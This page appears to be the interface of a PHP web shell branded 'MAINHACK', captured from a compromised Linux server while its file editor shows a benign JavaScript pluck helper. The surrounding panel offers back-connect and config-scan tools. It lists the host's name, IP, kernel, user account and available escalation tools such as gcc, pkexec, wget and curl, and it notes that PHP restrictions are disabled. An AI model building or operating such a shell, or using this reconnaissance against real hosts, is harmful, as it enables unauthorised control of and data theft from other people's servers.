[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: pluck.js
'use strict'; const { isArray, isObject } = require('../helpers/is'); const nestedValue = require('../helpers/nestedValue'); const buildKeyPathMap = function buildKeyPathMap(items) { const keyPaths = {}; items.forEach((item, index) => { function buildKeyPath(val, keyPath) { if (isObject(val)) { Object.keys(val).forEach((prop) => { buildKeyPath(val[prop], `${keyPath}.${prop}`); }); } else if (isArray(val)) { val.forEach((v, i) => { buildKeyPath(v, `${keyPath}.${i}`); }); } keyPaths[keyPath] = val; } buildKeyPath(item, index); }); return keyPaths; }; module.exports = function pluck(value, key) { if (value.indexOf('*') !== -1) { const keyPathMap = buildKeyPathMap(this.items); const keyMatches = []; if (key !== undefined) { const keyRegex = new RegExp(`0.${key}`, 'g'); const keyNumberOfLevels = `0.${key}`.split('.').length; Object.keys(keyPathMap).forEach((k) => { const matchingKey = k.match(keyRegex); if (matchingKey) { const match = matchingKey[0]; if (match.split('.').length === keyNumberOfLevels) { keyMatches.push(keyPathMap[match]); } } }); } const valueMatches = []; const valueRegex = new RegExp(`0.${value}`, 'g'); const valueNumberOfLevels = `0.${value}`.split('.').length; Object.keys(keyPathMap).forEach((k) => { const matchingValue = k.match(valueRegex); if (matchingValue) { const match = matchingValue[0]; if (match.split('.').length === valueNumberOfLevels) { valueMatches.push(keyPathMap[match]); } } }); if (key !== undefined) { const collection = {}; this.items.forEach((item, index) => { collection[keyMatches[index] || ''] = valueMatches; }); return new this.constructor(collection); } return new this.constructor([valueMatches]); } if (key !== undefined) { const collection = {}; this.items.forEach((item) => { if (nestedValue(item, value) !== undefined) { collection[item[key] || ''] = nestedValue(item, value); } else { collection[item[key] || ''] = null; } }); return new this.constructor(collection); } return this.map((item) => { if (nestedValue(item, value) !== undefined) { return nestedValue(item, value); } return null; }); };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.61 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002